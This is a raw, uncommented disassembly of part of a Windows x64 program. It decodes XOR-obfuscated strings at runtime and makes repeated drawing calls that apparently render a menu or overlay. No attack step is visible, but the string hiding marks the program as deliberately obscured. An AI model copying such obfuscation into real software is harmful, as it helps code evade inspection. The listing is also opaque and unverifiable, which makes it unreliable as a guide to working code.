movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2428], rax
movabs rax, 0xd106f6115ac31337
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2430], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x1260]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2438], rax
vmovdqu ymm0, ymmword [rbp + 0x2420]
vpxor ymm1, ymm0, ymmword [rbp + 0x2400]
vmovdqa ymmword [rbp + 0x2400], ymm1
vzeroupper
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f564]
lea rcx, [rbp + 0x478]
movss xmm1, dword [0x14016f574]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0x2400]
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xa
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0xdc48ac8c9797f524
mov qword [rbp + 0x10], rax
movabs rax, 0x729e6a1287b9b5cd
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1270], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1278], rcx
lea rcx, [rbp + 0x1290]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1280], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1288], rax
movdqa xmm0, xmmword [rbp + 0x1280]
xorps xmm0, xmmword [rbp + 0x1270]
movdqa xmmword [rbp + 0x1270], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f564]
lea rcx, [rbp + 0x480]
movss xmm1, dword [0x14016f5d8]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0x1270]
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
mov rcx, rsi
call fcn.140012cb0
movss xmm2, dword [0x14016f568]
lea rcx, [rbp + 0x488]
movss xmm1, dword [0x14016f564]
call fcn.140001d60
mov edx, reloc.WLDAP32.dll_Ordinal_50
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x12a0]
mov r8d, edx
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
mov edx, reloc.WLDAP32.dll_Ordinal_50
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x12b0]
mov r8d, edx
mov ebx, eax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm3, dword [0x14016f518]
lea rcx, [0x14016a0bc]
mov r8d, ebx
mov qword [rsp + 0x20], rdi
mov edx, eax
call fcn.140032790
call fcn.140012d50
call fcn.140017400
call fcn.140013290
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x12c0]
mov r8d, edx
mov rsi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x490]
movss xmm1, dword [rbp + 0x190]
mov edi, eax
addss xmm2, dword [0x14016f61c]
addss xmm1, dword [0x14016f61c]
call fcn.140001d60
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x498]
movss xmm1, dword [rbp + 0x190]
mov rbx, rax
addss xmm2, dword [0x14016f5b4]
addss xmm1, dword [0x14016f554]
call fcn.140001d60
movss xmm0, dword [0x14016f488]
mov r9d, edi
movss dword [rsp + 0x30], xmm0
mov r8, rbx
movss xmm0, dword [0x14016f4a4]
mov rdx, rax
mov dword [rsp + 0x28], 0
mov rcx, rsi
movss dword [rsp + 0x20], xmm0
call fcn.140024290
movss xmm2, dword [0x14016f5c4]
movss xmm1, dword [0x14016f55c]
lea rcx, [rbp + 0x4a0]
call fcn.140001d60
mov rcx, rax
call fcn.140016fb0
call fcn.1400172a0
xor eax, eax
lea rdx, reloc.WS2_32.dll_accept
mov byte [rbp], al
lea rcx, [rbp + 0x2440]
mov byte [rbp], al
movabs rsi, 0xdaf40e281c80c3c8
mov byte [rbp], al
movabs rdi, 0xb925cdcbb7fb9965
movabs rax, 0x9951bfaac388fc37
movabs rbx, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2440], rax
movabs rax, 0xfb1e74c699f6ee
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2448], rax
movabs rax, 0xd106907e35b34017
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2450], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2458], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2460], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2468], rax
movabs rax, 0xd106f6115ac31337
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2470], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2478], rax
vmovdqu ymm0, ymmword [rbp + 0x2460]
vpxor ymm1, ymm0, ymmword [rbp + 0x2440]
vmovdqa ymmword [rbp + 0x2440], ymm1
vzeroupper
call fcn.140032a70
call fcn.140017400
movss xmm2, dword [0x14016f608]
lea rcx, [rbp + 0x4a8]
movss xmm1, dword [0x14016f55c]
call fcn.140001d60
mov rcx, rax
call fcn.140016fb0
movss xmm2, dword [0x14016f508]
lea rcx, [rbp + 0x4b0]
movss xmm1, dword [0x14016f5a4]
call fcn.140001d60
mov rdx, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xd049acbec389f033
mov qword [rbp + 0x10], rax
movabs rax, 0x729e6a1287b9d0c4
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x12d0], rcx
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x12d8], rcx
lea rcx, [rbp + 0x12d0]
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x12e0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x12e8], rax
movdqa xmm0, xmmword [rbp + 0x12e0]
xorps xmm0, xmmword [rbp + 0x12d0]
movdqa xmmword [rbp + 0x12d0], xmm0
call fcn.140031ab0
test al, al
je 0x14005222b
mov dword [0x1403a2288], 0xc
movss xmm2, dword [0x14016f5ec]
lea rcx, [rbp + 0x4b8]
movss xmm1, dword [0x14016f55c]
call fcn.140001d60
mov rcx, rax
call fcn.140016fb0
movss xmm2, dword [0x14016f508]
lea rcx, [rbp + 0x4c0]
movss xmm1, dword [0x14016f5a4]
call fcn.140001d60
mov rdx, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x9940bfa4c388fc37
mov qword [rbp + 0x10], rax
movabs rax, 0x36d73d5aa7ddd9f1
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x2480], rcx
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x2488], rcx
movabs rcx, 0xd106f6115ac31337
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2490], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2498], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x24a0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x24a8], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x2480]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x24b0], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x24b8], rax
vmovdqu ymm0, ymmword [rbp + 0x24a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x2480]
vmovdqa ymmword [rbp + 0x2480], ymm1
vzeroupper
call fcn.140031ab0
call fcn.140013290
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x12f0]
mov r8d, edx
mov rsi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x4c8]
movss xmm1, dword [rbp + 0x190]
mov edi, eax
addss xmm2, dword [0x14016f590]
addss xmm1, dword [0x14016f63c]
call fcn.140001d60
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x4d0]
movss xmm1, dword [rbp + 0x190]
mov rbx, rax
addss xmm2, dword [0x14016f52c]
addss xmm1, dword [0x14016f620]
call fcn.140001d60
movss xmm0, dword [0x14016f488]
mov r9d, edi
movss dword [rsp + 0x30], xmm0
mov r8, rbx
movss xmm0, dword [0x14016f4a4]
mov rdx, rax
mov dword [rsp + 0x28], 0
mov rcx, rsi
movss dword [rsp + 0x20], xmm0
call fcn.140024290
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
movabs rdx, 0x729e6a1287b9b5be
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xb925cdcbb7fb9921
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1300], rcx
mov qword [rbp + 0x10], rdx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1308], rcx
lea rcx, [rbp + 0x1320]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1310], rax
mov qword [rbp + 0x10], rdx
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov rax, qword [rbp + 0x10]
mov r9d, edx
mov qword [rbp + 0x1318], rax
mov r8d, edx
movdqa xmm0, xmmword [rbp + 0x1310]
xorps xmm0, xmmword [rbp + 0x1300]
movdqa xmmword [rbp + 0x1300], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f520]
lea rcx, [rbp + 0x4d8]
movss xmm1, dword [0x14016f620]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2278]
lea rcx, [rbp + 0x1300]
xor esi, esi
mov r9, rax
mov qword [rsp + 0x40], rsi
movaps xmm2, xmm6
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xf0
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x9957a8add894e936
mov qword [rbp + 0x10], rax
movabs rax, 0x729e6a12f4dedaf2
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1330], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1338], rcx
lea rcx, [rbp + 0x1350]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1340], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1348], rax
movdqa xmm0, xmmword [rbp + 0x1340]
xorps xmm0, xmmword [rbp + 0x1330]
movdqa xmmword [rbp + 0x1330], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f520]
lea rcx, [rbp + 0x4e0]
movss xmm1, dword [0x14016f628]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
lea rcx, [rbp + 0x1330]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1360]
mov r8d, edx
mov rsi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x4e8]
movss xmm1, dword [rbp + 0x190]
mov edi, eax
addss xmm2, dword [0x14016f61c]
addss xmm1, dword [0x14016f63c]
call fcn.140001d60
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x4f0]
movss xmm1, dword [rbp + 0x190]
mov rbx, rax
addss xmm2, dword [0x14016f5b4]
addss xmm1, dword [0x14016f620]
call fcn.140001d60
movss xmm0, dword [0x14016f488]
mov r9d, edi
movss dword [rsp + 0x30], xmm0
mov r8, rbx
movss xmm0, dword [0x14016f4a4]
mov rdx, rax
mov dword [rsp + 0x28], 0
mov rcx, rsi
movss dword [rsp + 0x20], xmm0
call fcn.140024290
movss xmm2, dword [0x14016f5c4]
lea rcx, [rbp + 0x4f8]
movss xmm1, dword [0x14016f624]
call fcn.140001d60
mov rcx, rax
call fcn.140016fb0
call fcn.1400172a0
xor eax, eax
movabs rdi, 0xb925cdcbb7fb9965
mov byte [rbp], al
movabs rbx, 0x729e6a1287b9b5be
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xea05a1aada89f62b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1370], rax
movabs rax, 0x72f9047be1d6dace
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1378], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1380], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1388], rax
movdqa xmm0, xmmword [rbp + 0x1380]
xorps xmm0, xmmword [rbp + 0x1370]
lea rdx, [0x140184124]
movdqa xmmword [rbp + 0x1370], xmm0
lea rcx, [rbp + 0x1370]
call fcn.140032a70
xor eax, eax
lea rdx, [0x1403a27dc]
mov byte [rbp], al
lea rcx, [rbp + 0x1390]
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x9915e3f997b6c931
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1390], rax
movabs rax, 0x729e1961e6c9ccfc
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1398], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x13a0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1390]
mov qword [rbp + 0x13a8], rax
xorps xmm0, xmmword [rbp + 0x13a0]
movdqa xmmword [rbp + 0x1390], xmm0
call fcn.140032a70
xor eax, eax
lea rdx, reloc.WS2_32.dll_accept
mov byte [rbp], al
lea rcx, [rbp + 0x13b0]
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xd64abd989798f828
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x13b0], rax
movabs rax, 0x729e6a12e0d7dcd8
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x13b8], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x13c0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x13b0]
mov qword [rbp + 0x13c8], rax
xorps xmm0, xmmword [rbp + 0x13c0]
movdqa xmmword [rbp + 0x13b0], xmm0
call fcn.140032a70
call fcn.140017400
cmp dword [0x1403a2288], 5
jne 0x1400536a5
mov rcx, qword [0x1403a2260]
call fcn.140012cb0
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x13d0]
mov r8d, edx
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm1, dword [0x14016f468]
lea rcx, [0x1403a28a8]
mov esi, eax
call fcn.140004fe0
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x13e0]
mov r8d, edx
mov edi, eax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm1, dword [0x14016f5cc]
lea rcx, [rbp + 0x500]
movaps xmm2, xmm15
mov ebx, eax
call fcn.140001d60
mov r9d, edi
lea rcx, [rbp + 0x13f0]
mov r8d, ebx
movss xmm1, dword [rax]
movss xmm2, dword [rax + 4]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x996ced9997beb936
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x13f0], rax
movabs rax, 0x729e6a41a7f595ff
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x13f8], rax
movabs rax, 0xb925cdcbb7fb9965
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1400], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x13f0]
mov qword [rbp + 0x1408], rax
xorps xmm0, xmmword [rbp + 0x1400]
movdqa xmmword [rbp + 0x13f0], xmm0
movss xmm0, dword [0x14016f410]
unpcklps xmm1, xmm2
movss dword [rsp + 0x28], xmm0
movq rdx, xmm1
mov dword [rsp + 0x20], esi
call fcn.140033100
call fcn.140012d50
call fcn.140013290
mov edx, reloc.WS2_32.dll_recv
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1410]
mov r8d, edx
mov rsi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f640]
lea rcx, [rbp + 0x508]
movss xmm1, dword [0x14016f544]
mov edi, eax
call fcn.140001d60
mov rbx, rax
movaps xmm2, xmm14
movaps xmm1, xmm14
lea rcx, [rbp + 0x510]
call fcn.140001d60
mov r9d, edi
mov dword [rsp + 0x28], 0
mov r8, rbx
movss dword [rsp + 0x20], xmm14
mov rdx, rax
mov rcx, rsi
call fcn.140024370
movss xmm0, dword [0x14016f50c]
lea rcx, [rbp + 0x518]
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140001d60
mov rcx, rax
call fcn.140016fb0
call fcn.1400172a0
mov rcx, r14
call fcn.140012cb0
movaps xmm2, xmm15
lea rcx, [rbp + 0x520]
movaps xmm1, xmm15
call fcn.140001d60
cmp dword [0x1403a2288], 3
lea rdx, [0x14016a064]
mov r8, rax
sete cl
call fcn.1400337f0
test al, al
je 0x140052ada
mov dword [0x1403a2288], 3
movaps xmm2, xmm15
lea rcx, [rbp + 0x528]
movaps xmm1, xmm15
call fcn.140001d60
cmp dword [0x1403a2288], 4
lea rdx, [0x14016a068]
mov r8, rax
sete cl
call fcn.1400337f0
test al, al
je 0x140052b15
mov dword [0x1403a2288], 4
movaps xmm2, xmm15
lea rcx, [rbp + 0x530]
movaps xmm1, xmm15
call fcn.140001d60
cmp dword [0x1403a2288], 5
lea rdx, [0x14016a06c]
mov r8, rax
sete cl
call fcn.1400337f0
test al, al
je 0x140052b50
mov dword [0x1403a2288], 5
movaps xmm2, xmm15
lea rcx, [rbp + 0x538]
movaps xmm1, xmm15
call fcn.140001d60
cmp dword [0x1403a2288], 6
lea rdx, [0x14016a070]
mov r8, rax
sete cl
call fcn.1400337f0
test al, al
je 0x140052b8b
mov dword [0x1403a2288], 6
movaps xmm2, xmm15
lea rcx, [rbp + 0x540]
movaps xmm1, xmm15
call fcn.140001d60
cmp dword [0x1403a2288], 7
lea rdx, [0x14016a074]
mov r8, rax
sete cl
call fcn.1400337f0
test al, al
je 0x140052bc6
mov dword [0x1403a2288], 7
call fcn.140012d50
call fcn.140017400
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
movabs rdx, 0x729e6a1287b9b5be
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xb925cdcbb7fb9921
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1420], rcx
mov qword [rbp + 0x10], rdx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1428], rcx
lea rcx, [rbp + 0x1440]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1430], rax
mov qword [rbp + 0x10], rdx
mov edx, 0xaa
mov rax, qword [rbp + 0x10]
mov r9d, edx
movdqa xmm0, xmmword [rbp + 0x1420]
mov r8d, edx
mov qword [rbp + 0x1438], rax
xorps xmm0, xmmword [rbp + 0x1430]
movdqa xmmword [rbp + 0x1420], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f530]
lea rcx, [rbp + 0x548]
movss xmm1, dword [0x14016f5b4]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2278]
lea rcx, [rbp + 0x1420]
xor esi, esi
mov r9, rax
mov qword [rsp + 0x40], rsi
movaps xmm2, xmm7
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xaa
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0xd647bfaedf8ff628
mov qword [rbp + 0x10], rax
movabs rax, 0x729e6a12bdddc7df
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1450], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1458], rcx
lea rcx, [rbp + 0x1470]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1460], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1450]
mov qword [rbp + 0x1468], rax
xorps xmm0, xmmword [rbp + 0x1460]
movdqa xmmword [rbp + 0x1450], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f530]
lea rcx, [rbp + 0x550]
movss xmm1, dword [0x14016f5c8]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
lea rcx, [rbp + 0x1450]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
lea rcx, [0x1403a2678]
mov rsi, rax
call fcn.14007a240
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1480]
mov r8d, edx
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f530]
lea rcx, [rbp + 0x558]
movss xmm1, dword [0x14016f614]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rcx
mov rcx, rsi
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov edx, 0xaa
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1490]
mov r8d, edx
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f548]
lea rcx, [rbp + 0x560]
movss xmm1, dword [0x14016f5b4]
mov ebx, eax
call fcn.140001d60
xor esi, esi
lea rcx, [0x14016a0c0]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rsi
mov rdx, r14
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rdx, 0x729e6a1287b9b5be
mov dword [rsp + 0x20], 0xff
movabs rax, 0xb91fa0aec388e036
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x14a0], rcx
mov qword [rbp + 0x10], rdx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x14a8], rcx
lea rcx, [rbp + 0x14c0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x14b0], rax
mov qword [rbp + 0x10], rdx
mov edx, 0xaa
mov rax, qword [rbp + 0x10]
mov r9d, edx
movdqa xmm0, xmmword [rbp + 0x14a0]
mov r8d, edx
mov qword [rbp + 0x14b8], rax
xorps xmm0, xmmword [rbp + 0x14b0]
movdqa xmmword [rbp + 0x14a0], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f548]
lea rcx, [rbp + 0x568]
movss xmm1, dword [0x14016f5c8]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
lea rcx, [rbp + 0x14a0]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
lea rcx, [0x1403a2390]
mov rsi, rax
call fcn.14007a240
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x14d0]
mov r8d, edx
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f548]
lea rcx, [rbp + 0x570]
movss xmm1, dword [0x14016f5f4]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rcx
mov rcx, rsi
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov edx, 0xaa
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x14e0]
mov r8d, edx
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f56c]
lea rcx, [rbp + 0x578]
movss xmm1, dword [0x14016f5b4]
mov ebx, eax
call fcn.140001d60
xor esi, esi
lea rcx, [0x14016a0c4]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rsi
mov rdx, r14
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xaa
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0xd656beaed494eb35
mov qword [rbp + 0x10], rax
movabs rax, 0x729e6a1287b98fcc
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x14f0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x14f8], rcx
lea rcx, [rbp + 0x1510]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1500], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x14f0]
mov qword [rbp + 0x1508], rax
xorps xmm0, xmmword [rbp + 0x1500]
movdqa xmmword [rbp + 0x14f0], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f56c]
lea rcx, [rbp + 0x580]
movss xmm1, dword [0x14016f5c8]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
lea rcx, [rbp + 0x14f0]
mov qword [rsp + 0x40], rsi
mov r9, rax
